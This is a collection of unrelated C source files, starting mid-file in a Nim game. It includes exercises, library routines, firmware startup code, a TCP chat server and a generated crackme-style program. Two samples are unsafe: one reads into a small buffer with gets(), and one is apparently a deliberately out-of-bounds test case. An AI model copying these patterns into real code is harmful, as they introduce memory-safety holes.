move; printf ("\nComputer takes %d and leaves %d", move, num); return ((num) ? 0 : (takelast)? 2 : 1); } void showpile () { int n, c; puts (""); n = num; while (n > MAXW) { for (c = 0; c < MAXW; c++) putchar ('|'); n -= MAXW; puts (""); } //for (c = 0; c < (MAXW - n) / 2; c++) putchar (' '); for (c = 0; c < n; c++) putchar ('|'); puts (""); } void playgame () { int input; int winner; printf ("\n(1) 23 Matches (23 in pile, take at most 3, last piece looses)\n"); printf ("(2) Random\n"); printf ("(3) Custom\n"); printf ("\nChoose a game type: "); input = 0; do { if (input) printf ("\nChoose 1, 2, or 3 please. "); scanf ("%d", &input); } while (input < 1 || input > 3); switch (input) { case 1 : num = 23; max = 3; min = 1; takelast = 0; comfirst = 0; break; case 2 : random_setup(); break; case 3 : custom_setup (); } printf ("\n%d in pile, %s first, winner %s last piece.\n", num, (comfirst) ? "computer goes" : "you go", (takelast) ? "takes" : "leaves" ); printf ("Take at least %d and at most %d per turn.\n\n", min, max); printf ("On a scale of 1 to 5, 5 being best,\n"); printf ("how well do you want the computer to play? (1-5) "); scanf("%d", &skill); winner = 0; if (!comfirst) { showpile (); winner = humanmove (); } while (!winner) { showpile (); winner = compmove (); showpile (); if (!winner) winner = humanmove (); } if (winner == 2) printf ("\nComputer wins!"); else printf ("\nYou win!"); } int playagain () { char input; printf ("\nThat was fun. Would you like to play again? (y\\n) "); do input = getchar(); while (!isalpha(input)); if (input == 'y' || input == 'Y') return (1); else return(0); } int main () { srand (time(NULL)); intro (); do playgame (); while (playagain ()); exit (0); }
the_stack_data/156392658.c
/* Test for hex floating point constants: in C99 only. Preprocessor test. */ /* Origin: Joseph Myers <[email protected]> */ /* { dg-do run } */ /* { dg-options "-std=iso9899:1999 -pedantic-errors" } */ #define f ( #define l ) #define str(x) #x #define xstr(x) str(x) /* C90: "0x1p+( 0x1p+)"; C99: "0x1p+f 0x1p+l" */ const char *s = xstr(0x1p+f 0x1p+l); extern void abort (void); extern int strcmp (const char *, const char *); int main (void) { if (strcmp (s, "0x1p+f 0x1p+l")) abort (); else return 0; /* Correct C99 behaviour. */ }
the_stack_data/68888156.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strcapitalize.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: vyastrub <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2016/10/31 19:55:21 by vyastrub #+# #+# */ /* Updated: 2016/12/09 15:57:14 by vyastrub ### ########.fr */ /* */ /* ************************************************************************** */ char *ft_strcapitalize(char *str) { int i; i = 0; while (str[i] != '\0') { if (str[i] >= 'A' && str[i] <= 'Z') str[i] += 32; i++; } i = 0; if (str[i] >= 'a' && str[i] <= 'z') str[i] = str[i] - 32; while (str[i] != '\0') { if ((str[i] >= 32 && str[i] <= 47) || (str[i] >= 58 && str[i] <= 64)) if (str[i + 1] >= 97 && str[i + 1] <= 122) str[i + 1] = str[i + 1] - 32; if ((str[i] >= 91 && str[i] <= 96) || (str[i] >= 123 && str[i] <= 126)) if (str[i + 1] >= 97 && str[i + 1] <= 122) str[i + 1] = str[i + 1] - 32; i++; } return (str); }
the_stack_data/95452.c
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <math.h> int main(int argc, char** argv) { double alpha; scanf("%lf", &alpha); double first = 2 * pow(sin(3 * acos(-1) - 2 * alpha), 2) * pow(cos(5 * acos(-1) + 2 * alpha), 2); double second = (double)1 / 4 - (double)1 / 4 * sin(5 / 2 * acos(-1) - 8 * alpha); printf("z_1 = %lf; z_2 = %lf", first, second); return 0; }
the_stack_data/161080010.c
#include <stdio.h> void display(char cr, int lines, int width); int main(void) { int ch; int rows, cols; printf("Enter a character and two integers:\n"); while ((ch = getchar()) != '\n') { scanf("%d %d", &rows, &cols); display((char)ch, rows, cols); printf("Enter another character and two integers:\n"); printf("Enter a newline to quit.\n"); } printf("Bye.\n"); return 0; } void display(char cr, int lines, int width) { int row, col; for (row = 1; row <= lines; row++) { for (col = 1; col <= width; col++) { putchar(cr); } putchar('\n'); } }
the_stack_data/220455273.c
// Copyright 2018 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <stdint.h> #include <string.h> void* memcpy(void* restrict dest, const void* restrict src, size_t len) { void* dest_end; void* src_end; __asm__ volatile("rep movsb" : "=D"(dest_end), "=S"(src_end), "=c"(len) : "0"(dest), "1"(src), "2"(len) : "memory"); return dest; } void* memmove(void* restrict dest, const void* restrict src, size_t len) { if ((uintptr_t)dest < (uintptr_t)src) { void* dest_end; void* src_end; __asm__ volatile("rep movsb" : "=D"(dest_end), "=S"(src_end), "=c"(len) : "0"(dest), "1"(src), "2"(len) : "memory"); } else { __asm__ volatile( "std\n\t" "rep movsb\n\t" "cld" : "=D"(dest), "=S"(src), "=c"(len) : "0"((uint8_t*)dest + len - 1), "1"((uint8_t*)src + len - 1), "2"(len) : "memory"); dest = (void*)((uint8_t*)dest + 1); } return dest; } void* memset(void* dest, int val, size_t len) { void* dest_end; __asm__ volatile("rep stosb" : "=D"(dest_end), "=c"(len) : "0"(dest), "1"(len), "a"((unsigned char)val) : "memory"); return dest; } size_t strlen(const char* s) { size_t len = 0; while (*s++ != '\0') { ++len; } return len; }
the_stack_data/52652.c
#include<stdio.h> main() { char name[10]; int age=0; long long int phone; printf("Enter the name:"); gets(name); printf("\nEnter the age :"); scanf("%d",&age); printf("\nEnter the phone number :"); { scanf("\n%lld",&phone); } printf(" name:%s\nage:%d\nphone number:%lld\n",name,age,phone); return 0; }
the_stack_data/161081398.c
#include <stdio.h> int main(){ int a,b,n,f,i; printf("Enter a range"); scanf("%d",&n); a=1;b=1;f=0; printf("%d",a); for (i=0;i<n;i++){ f=a+b; b=a; a=f; printf("+%d",b); } printf("\n"); return 0; }
the_stack_data/75114.c
#include <time.h> static unsigned long ticks = 0; void timer_handler() { ticks++; } int ticks_elapsed() { return ticks; } int seconds_elapsed() { return ticks / 18; }
the_stack_data/179831051.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #define PORT 4950 #define BUFSIZE 1024 void send_to_all(int j, int i, int sockfd, int nbytes_recvd, char *recv_buf, fd_set *master) { if (FD_ISSET(j, master)){ if (j != sockfd && j != i) { if (send(j, recv_buf, nbytes_recvd, 0) == -1) { perror("send"); } } } } void send_recv(int i, fd_set *master, int sockfd, int fdmax) { int nbytes_recvd, j; char recv_buf[BUFSIZE], buf[BUFSIZE]; if ((nbytes_recvd = recv(i, recv_buf, BUFSIZE, 0)) <= 0) { if (nbytes_recvd == 0) { printf("socket %d hung up\n", i); }else { perror("recv"); } close(i); FD_CLR(i, master); }else { // printf("%s\n", recv_buf); for(j = 0; j <= fdmax; j++){ send_to_all(j, i, sockfd, nbytes_recvd, recv_buf, master ); } } } void connection_accept(fd_set *master, int *fdmax, int sockfd, struct sockaddr_in *client_addr) { socklen_t addrlen; int newsockfd; addrlen = sizeof(struct sockaddr_in); if((newsockfd = accept(sockfd, (struct sockaddr *)client_addr, &addrlen)) == -1) { perror("accept"); exit(1); }else { FD_SET(newsockfd, master); if(newsockfd > *fdmax){ *fdmax = newsockfd; } printf("new connection from %s on port %d \n",inet_ntoa(client_addr->sin_addr), ntohs(client_addr->sin_port)); } } void connect_request(int *sockfd, struct sockaddr_in *my_addr) { int yes = 1; if ((*sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("Socket"); exit(1); } my_addr->sin_family = AF_INET; my_addr->sin_port = htons(4950); my_addr->sin_addr.s_addr = INADDR_ANY; memset(my_addr->sin_zero, '\0', sizeof my_addr->sin_zero); if (setsockopt(*sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) { perror("setsockopt"); exit(1); } if (bind(*sockfd, (struct sockaddr *)my_addr, sizeof(struct sockaddr)) == -1) { perror("Unable to bind"); exit(1); } if (listen(*sockfd, 10) == -1) { perror("listen"); exit(1); } printf("\nTCPServer Waiting for client on port 4950\n"); fflush(stdout); } int main() { fd_set master; fd_set read_fds; int fdmax, i; int sockfd= 0; struct sockaddr_in my_addr, client_addr; FD_ZERO(&master); FD_ZERO(&read_fds); connect_request(&sockfd, &my_addr); FD_SET(sockfd, &master); fdmax = sockfd; while(1){ read_fds = master; if(select(fdmax+1, &read_fds, NULL, NULL, NULL) == -1){ perror("select"); exit(4); } for (i = 0; i <= fdmax; i++){ if (FD_ISSET(i, &read_fds)){ if (i == sockfd) connection_accept(&master, &fdmax, sockfd, &client_addr); else send_recv(i, &master, sockfd, fdmax); } } } return 0; }
the_stack_data/218894300.c
#include <time.h> // Re-entrant version of asctime() // Returns date and time in the format: // Www Mmm dd hh:mm:ss yyyy char* asctime_r(const struct tm* timeptr, char* buf) { strftime(buf, 26, "%a %b %d %H:%M:%S %Y\n", timeptr); return buf; }
the_stack_data/87637875.c
// Range of variables #include <stdio.h> #include <limits.h> int main(void) { printf("From limits.h\n"); printf("CHAR_BIT : %d\n", CHAR_BIT); printf("CHAR_MAX : %d\n", CHAR_MAX); printf("CHAR_MIN : %d\n", CHAR_MIN); printf("INT_MAX : %d\n", INT_MAX); printf("INT_MIN : %d\n", INT_MIN); printf("LONG_MAX : %ld\n", LONG_MAX); printf("LONG_MIN : %ld\n", LONG_MIN); printf("SCHAR_MAX: %d\n", SCHAR_MAX); printf("SCHAR_MIN: %d\n", SCHAR_MIN); printf("SHRT_MAX : %d\n", SHRT_MAX); printf("SHRT_MIN : %d\n", SHRT_MIN); printf("UCHAR_MAX: %d\n", UCHAR_MAX); printf("UINT_MAX : %u\n", UINT_MAX); printf("ULONG_MAX: %lu\n", ULONG_MAX); printf("USHRT_MAX: %u\n", USHRT_MAX); printf("\nFrom calc:\n"); // signed types printf("signed char min=%d\n", -(char)((unsigned char) ~0 >> 1)); printf("signed char max=%d\n", (char)((unsigned char) ~0 >> 1)); printf("signed int min=%d\n", -(int)((unsigned int) ~0 >> 1)); printf("signed int max=%d\n", (int)((unsigned int) ~0 >> 1)); printf("signed short min=%d\n", -(short)((unsigned short) ~0 >> 1)); printf("signed short max=%d\n", (short)((unsigned short) ~0 >> 1)); printf("signed long min=%ld\n", -(long)((unsigned long) ~0 >> 1)); printf("signed long max=%ld\n", (long)((unsigned long) ~0 >> 1)); // unsigned types printf("unsigned char max=%u\n", ((unsigned char) ~0 >> 1)); printf("unsigned int max=%u\n", ((unsigned int) ~0 >> 1)); printf("unsigned long max=%u\n", ((unsigned int) ~0 >> 1)); printf("unsigned short max=%u\n", ((unsigned int) ~0 >> 1)); return 0; }
the_stack_data/212643525.c
#include <stdio.h> #include <stdlib.h> #include <string.h> char *text = "stupide_strinp_string2"; //tsize = 20 char *pattern = "string"; //psize = 6 int za(const char *text, const char *pattern) { int *z; unsigned int tsize, psize; int i, k; char *s; int len; int R = 0, L, n, p; psize = strlen(pattern); tsize = strlen(text); s = calloc(psize + tsize + 1, sizeof(char)); if (!s) { printf("Error: Failed alloc\n"); exit(-1); } s = strcat(s, pattern); s = strcat(s, text); len = psize + tsize + 1; z = calloc(len, sizeof(int)); if (!z) { printf("Error: Failed alloc\n"); exit(-1); } for (k = 1; k < len; k++) { if (k > R) { n = 0; while (n + k < len && s[n] == s[n + k]) n++; z[k] = n; if (n > 0) { L = k; R = k + n - 1; } } else { p = k - L; if (z[p] < R - k + 1) { z[k] = z[p]; } else { i = R + 1; while (i < len && s[i] == s[i - k]) i++; z[k] = i - k; L = k; R = i - 1; } } z[k] = psize < z[k] ? psize : z[k]; if (z[k] == psize) { free(s); free(z); return k - psize; } } free(s); free(z); return -1; } int main(int argc, char *argv[]) { int res; res = za(text, pattern); printf("Res = %d\n", res); return 0; }
the_stack_data/1081795.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <CL/cl.h> unsigned char *read_buffer(char *file_name, size_t *size_ptr) { FILE *f; unsigned char *buf; size_t size; /* Open file */ f = fopen(file_name, "rb"); if (!f) return NULL; /* Obtain file size */ fseek(f, 0, SEEK_END); size = ftell(f); fseek(f, 0, SEEK_SET); /* Allocate and read buffer */ buf = malloc(size + 1); fread(buf, 1, size, f); buf[size] = '\0'; /* Return size of buffer */ if (size_ptr) *size_ptr = size; /* Return buffer */ return buf; } void write_buffer(char *file_name, const char *buffer, size_t buffer_size) { FILE *f; /* Open file */ f = fopen(file_name, "w+"); /* Write buffer */ if(buffer) fwrite(buffer, 1, buffer_size, f); /* Close file */ fclose(f); } int main(int argc, char const *argv[]) { /* Get platform */ cl_platform_id platform; cl_uint num_platforms; cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformIDs' failed\n"); exit(1); } printf("Number of platforms: %d\n", num_platforms); printf("platform=%p\n", platform); /* Get platform name */ char platform_name[100]; ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformInfo' failed\n"); exit(1); } printf("platform.name='%s'\n\n", platform_name); /* Get device */ cl_device_id device; cl_uint num_devices; ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceIDs' failed\n"); exit(1); } printf("Number of devices: %d\n", num_devices); printf("device=%p\n", device); /* Get device name */ char device_name[100]; ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name), device_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceInfo' failed\n"); exit(1); } printf("device.name='%s'\n", device_name); printf("\n"); /* Create a Context Object */ cl_context context; context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateContext' failed\n"); exit(1); } printf("context=%p\n", context); /* Create a Command Queue Object*/ cl_command_queue command_queue; command_queue = clCreateCommandQueue(context, device, 0, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateCommandQueue' failed\n"); exit(1); } printf("command_queue=%p\n", command_queue); printf("\n"); /* Program source */ unsigned char *source_code; size_t source_length; /* Read program from 'post_decrement_float4.cl' */ source_code = read_buffer("post_decrement_float4.cl", &source_length); /* Create a program */ cl_program program; program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateProgramWithSource' failed\n"); exit(1); } printf("program=%p\n", program); /* Build program */ ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL); if (ret != CL_SUCCESS ) { size_t size; char *log; /* Get log size */ clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size); /* Allocate log and print */ log = malloc(size); clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL); printf("error: call to 'clBuildProgram' failed:\n%s\n", log); /* Free log and exit */ free(log); exit(1); } printf("program built\n"); printf("\n"); /* Create a Kernel Object */ cl_kernel kernel; kernel = clCreateKernel(program, "post_decrement_float4", &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateKernel' failed\n"); exit(1); } /* Create and allocate host buffers */ size_t num_elem = 10; /* Create and init host side src buffer 0 */ cl_float4 *src_0_host_buffer; src_0_host_buffer = malloc(num_elem * sizeof(cl_float4)); for (int i = 0; i < num_elem; i++) src_0_host_buffer[i] = (cl_float4){{2.0, 2.0, 2.0, 2.0}}; /* Create and init device side src buffer 0 */ cl_mem src_0_device_buffer; src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_float4), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_float4), src_0_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create host dst buffer */ cl_float4 *dst_host_buffer; dst_host_buffer = malloc(num_elem * sizeof(cl_float4)); memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_float4)); /* Create device dst buffer */ cl_mem dst_device_buffer; dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_float4), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create dst buffer\n"); exit(1); } /* Set kernel arguments */ ret = CL_SUCCESS; ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer); ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clSetKernelArg' failed\n"); exit(1); } /* Launch the kernel */ size_t global_work_size = num_elem; size_t local_work_size = num_elem; ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueNDRangeKernel' failed\n"); exit(1); } /* Wait for it to finish */ clFinish(command_queue); /* Read results from GPU */ ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_float4), dst_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueReadBuffer' failed\n"); exit(1); } /* Dump dst buffer to file */ char dump_file[100]; sprintf((char *)&dump_file, "%s.result", argv[0]); write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_float4)); printf("Result dumped to %s\n", dump_file); /* Free host dst buffer */ free(dst_host_buffer); /* Free device dst buffer */ ret = clReleaseMemObject(dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 0 */ free(src_0_host_buffer); /* Free device side src buffer 0 */ ret = clReleaseMemObject(src_0_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Release kernel */ ret = clReleaseKernel(kernel); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseKernel' failed\n"); exit(1); } /* Release program */ ret = clReleaseProgram(program); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseProgram' failed\n"); exit(1); } /* Release command queue */ ret = clReleaseCommandQueue(command_queue); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseCommandQueue' failed\n"); exit(1); } /* Release context */ ret = clReleaseContext(context); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseContext' failed\n"); exit(1); } return 0; }
the_stack_data/150143522.c
/* Copyright (C) 1992-2016 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #include <termios.h> /* Set *T to indicate raw mode. */ void cfmakeraw (struct termios *t) { t->c_iflag &= ~(IGNBRK|BRKINT|PARMRK|ISTRIP|INLCR|IGNCR|ICRNL|IXON); t->c_oflag &= ~OPOST; t->c_lflag &= ~(ECHO|ECHONL|ICANON|ISIG|IEXTEN); t->c_cflag &= ~(CSIZE|PARENB); t->c_cflag |= CS8; t->c_cc[VMIN] = 1; /* read returns when one char is available. */ t->c_cc[VTIME] = 0; }
the_stack_data/40763348.c
// เขียนโปรแกรมรับ ข้อมูลนักเรียน 10 คน โดยนักเรียนแต่ละคนมีข้อมูลดังนี้ // เลขประจำตัว ชื่อ คะแนน // แล้วหาว่า มีกี่คนได้คะแนนสูงสุด ใครบ้าง // แล้วแสดงผลออกมาตามตัวอย่าง // *** Structure Array 2 *** // Enter data : 99011234 Somsak 99 // 99012456 Pracha 44 // 99019876 Suraphon 86 // 99011233 Somsri 99 // 99022456 Pisanu 78 // 99039876 Sriracha 66 // 99049234 Gulf 99 // 99012756 Energy 43 // 99019806 Pronpan 36 // 99013876 Somkid 13 // *** Analyzing Data *** // Max marking = 99 points, 3 students. // 1. 99011234 Somsak 99 // 2. 99011233 Somsri 99 // 3. 99049234 Gulf 99 #include <stdio.h> #define size 10 struct student { char id[9]; char name[40]; int marking; }; int main(){ printf(" *** Structure Array 2 ***\n"); struct student st[size]; int max = 0,stdCount = 0,maxcount = 0,stdID[size]; printf("Enter data : "); for(int i=0;i<size;i++) { scanf("%s %s %d",st[i].id,st[i].name,&st[i].marking); } printf("\n\n *** Analyzing Data ***\n"); for(int i = 0;i < size; i++){ if (st[i].marking >= max){ max = st[i].marking; } if(i == size - 1){ for(int j = 0; j < size;j++){ if(st[j].marking == max){ stdCount++; } } } } printf("Max marking = %d points, %d students.\n",max,stdCount); for(int i = 0; i < size; i++){ if(st[i].marking == max){ maxcount++; printf("%d. %s %s %d\n",maxcount,st[i].id,st[i].name,st[i].marking); } } return 0; }
the_stack_data/131631.c
//***************************************************************************** // // startup_gcc.c - Startup code for use with GNU tools. // // Copyright (c) 2005-2013 Texas Instruments Incorporated. All rights reserved. // Software License Agreement // // Texas Instruments (TI) is supplying this software for use solely and // exclusively on TI's microcontroller products. The software is owned by // TI and/or its suppliers, and is protected under applicable copyright // laws. You may not combine this software with "viral" open-source // software in order to form a larger program. // // THIS SOFTWARE IS PROVIDED "AS IS" AND WITH ALL FAULTS. // NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT // NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY // CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL // DAMAGES, FOR ANY REASON WHATSOEVER. // // This is part of revision 10636 of the EK-LM3S811 Firmware Package. // //***************************************************************************** //***************************************************************************** // // Forward declaration of the default fault handlers. // //***************************************************************************** void ResetISR(void); static void NmiSR(void); static void FaultISR(void); static void IntDefaultHandler(void); //***************************************************************************** // // External declaration for the interrupt handler used by the application. // //***************************************************************************** extern void UARTIntHandler(void); //***************************************************************************** // // The entry point for the application. // //***************************************************************************** extern int main(void); //***************************************************************************** // // Reserve space for the system stack. // //***************************************************************************** static unsigned long pulStack[64]; //***************************************************************************** // // The vector table. Note that the proper constructs must be placed on this to // ensure that it ends up at physical address 0x0000.0000. // //***************************************************************************** __attribute__ ((section(".isr_vector"))) void (* const g_pfnVectors[])(void) = { (void (*)(void))((unsigned long)pulStack + sizeof(pulStack)), // The initial stack pointer ResetISR, // The reset handler NmiSR, // The NMI handler FaultISR, // The hard fault handler IntDefaultHandler, // The MPU fault handler IntDefaultHandler, // The bus fault handler IntDefaultHandler, // The usage fault handler 0, // Reserved 0, // Reserved 0, // Reserved 0, // Reserved IntDefaultHandler, // SVCall handler IntDefaultHandler, // Debug monitor handler 0, // Reserved IntDefaultHandler, // The PendSV handler IntDefaultHandler, // The SysTick handler IntDefaultHandler, // GPIO Port A IntDefaultHandler, // GPIO Port B IntDefaultHandler, // GPIO Port C IntDefaultHandler, // GPIO Port D IntDefaultHandler, // GPIO Port E UARTIntHandler, // UART0 Rx and Tx IntDefaultHandler, // UART1 Rx and Tx IntDefaultHandler, // SSI0 Rx and Tx IntDefaultHandler, // I2C0 Master and Slave IntDefaultHandler, // PWM Fault IntDefaultHandler, // PWM Generator 0 IntDefaultHandler, // PWM Generator 1 IntDefaultHandler, // PWM Generator 2 IntDefaultHandler, // Quadrature Encoder 0 IntDefaultHandler, // ADC Sequence 0 IntDefaultHandler, // ADC Sequence 1 IntDefaultHandler, // ADC Sequence 2 IntDefaultHandler, // ADC Sequence 3 IntDefaultHandler, // Watchdog timer IntDefaultHandler, // Timer 0 subtimer A IntDefaultHandler, // Timer 0 subtimer B IntDefaultHandler, // Timer 1 subtimer A IntDefaultHandler, // Timer 1 subtimer B IntDefaultHandler, // Timer 2 subtimer A IntDefaultHandler, // Timer 2 subtimer B IntDefaultHandler, // Analog Comparator 0 IntDefaultHandler, // Analog Comparator 1 IntDefaultHandler, // Analog Comparator 2 IntDefaultHandler, // System Control (PLL, OSC, BO) IntDefaultHandler // FLASH Control }; //***************************************************************************** // // The following are constructs created by the linker, indicating where the // the "data" and "bss" segments reside in memory. The initializers for the // for the "data" segment resides immediately following the "text" segment. // //***************************************************************************** extern unsigned long _etext; extern unsigned long _data; extern unsigned long _edata; extern unsigned long _bss; extern unsigned long _ebss; //***************************************************************************** // // This is the code that gets called when the processor first starts execution // following a reset event. Only the absolutely necessary set is performed, // after which the application supplied entry() routine is called. Any fancy // actions (such as making decisions based on the reset cause register, and // resetting the bits in that register) are left solely in the hands of the // application. // //***************************************************************************** void ResetISR(void) { unsigned long *pulSrc, *pulDest; // // Copy the data segment initializers from flash to SRAM. // pulSrc = &_etext; for(pulDest = &_data; pulDest < &_edata; ) { *pulDest++ = *pulSrc++; } // // Zero fill the bss segment. // __asm(" ldr r0, =_bss\n" " ldr r1, =_ebss\n" " mov r2, #0\n" " .thumb_func\n" "zero_loop:\n" " cmp r0, r1\n" " it lt\n" " strlt r2, [r0], #4\n" " blt zero_loop"); // // Call the application's entry point. // main(); } //***************************************************************************** // // This is the code that gets called when the processor receives a NMI. This // simply enters an infinite loop, preserving the system state for examination // by a debugger. // //***************************************************************************** static void NmiSR(void) { // // Enter an infinite loop. // while(1) { } } //***************************************************************************** // // This is the code that gets called when the processor receives a fault // interrupt. This simply enters an infinite loop, preserving the system state // for examination by a debugger. // //***************************************************************************** static void FaultISR(void) { // // Enter an infinite loop. // while(1) { } } //***************************************************************************** // // This is the code that gets called when the processor receives an unexpected // interrupt. This simply enters an infinite loop, preserving the system state // for examination by a debugger. // //***************************************************************************** static void IntDefaultHandler(void) { // // Go into an infinite loop. // while(1) { } }
the_stack_data/116177.c
int main() { return 1; }
the_stack_data/39380.c
int main(int argc, char **argv) { // There is no guarantee that there is at least one, so this // program is not memory safe. int n; for(n = 1; n < argc; n++) { // nothing } char *path = argv[n]; // out-of-bounds when argc == 0 }
the_stack_data/825565.c
#include<stdio.h> int main(void) { int m,n; int num=1,i; scanf("%d%d",&m,&n); if(n>m) printf("0"); else { for(i=1;i<=m-n;i++) { num*=(n+i); num/=i; } printf("%d",num); } return 0; }
the_stack_data/23574402.c
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #define ESC "\x1B%s" int main() { printf(ESC, "(0"); printf("\x7B\x6F"); printf(ESC, "(B"); printf("\x7B\x6F"); return 0; }
the_stack_data/298150.c
/* Generated by CIL v. 1.7.0 */ /* print_CIL_Input is false */ struct _IO_FILE; struct timeval; extern float strtof(char const *str , char const *endptr ) ; extern void signal(int sig , void *func ) ; typedef struct _IO_FILE FILE; extern int atoi(char const *s ) ; extern double strtod(char const *str , char const *endptr ) ; extern int fclose(void *stream ) ; extern void *fopen(char const *filename , char const *mode ) ; extern void abort() ; extern void exit(int status ) ; extern int raise(int sig ) ; extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ; extern int strcmp(char const *a , char const *b ) ; extern int rand() ; extern unsigned long strtoul(char const *str , char const *endptr , int base ) ; void RandomFunc(unsigned short input[1] , unsigned short output[1] ) ; extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ; extern int gettimeofday(struct timeval *tv , void *tz , ...) ; extern int printf(char const *format , ...) ; int main(int argc , char *argv[] ) ; void megaInit(void) ; extern unsigned long strlen(char const *s ) ; extern long strtol(char const *str , char const *endptr , int base ) ; extern unsigned long strnlen(char const *s , unsigned long maxlen ) ; extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ; struct timeval { long tv_sec ; long tv_usec ; }; extern void *malloc(unsigned long size ) ; extern int scanf(char const *format , ...) ; void RandomFunc(unsigned short input[1] , unsigned short output[1] ) { unsigned short state[1] ; char copy12 ; { state[0UL] = (input[0UL] + 51238316UL) + (unsigned short)8426; if ((state[0UL] >> (unsigned short)4) & (unsigned short)1) { state[0UL] += state[0UL]; } else { copy12 = *((char *)(& state[0UL]) + 1); *((char *)(& state[0UL]) + 1) = *((char *)(& state[0UL]) + 0); *((char *)(& state[0UL]) + 0) = copy12; state[0UL] += state[0UL]; } output[0UL] = state[0UL] * 306719454UL; } } int main(int argc , char *argv[] ) { unsigned short input[1] ; unsigned short output[1] ; int randomFuns_i5 ; unsigned short randomFuns_value6 ; int randomFuns_main_i7 ; { megaInit(); if (argc != 2) { printf("Call this program with %i arguments\n", 1); exit(-1); } else { } randomFuns_i5 = 0; while (randomFuns_i5 < 1) { randomFuns_value6 = (unsigned short )strtoul(argv[randomFuns_i5 + 1], 0, 10); input[randomFuns_i5] = randomFuns_value6; randomFuns_i5 ++; } RandomFunc(input, output); if (output[0] == 48616) { printf("You win!\n"); } else { } randomFuns_main_i7 = 0; while (randomFuns_main_i7 < 1) { printf("%u\n", output[randomFuns_main_i7]); randomFuns_main_i7 ++; } } } void megaInit(void) { { } }
the_stack_data/38008.c
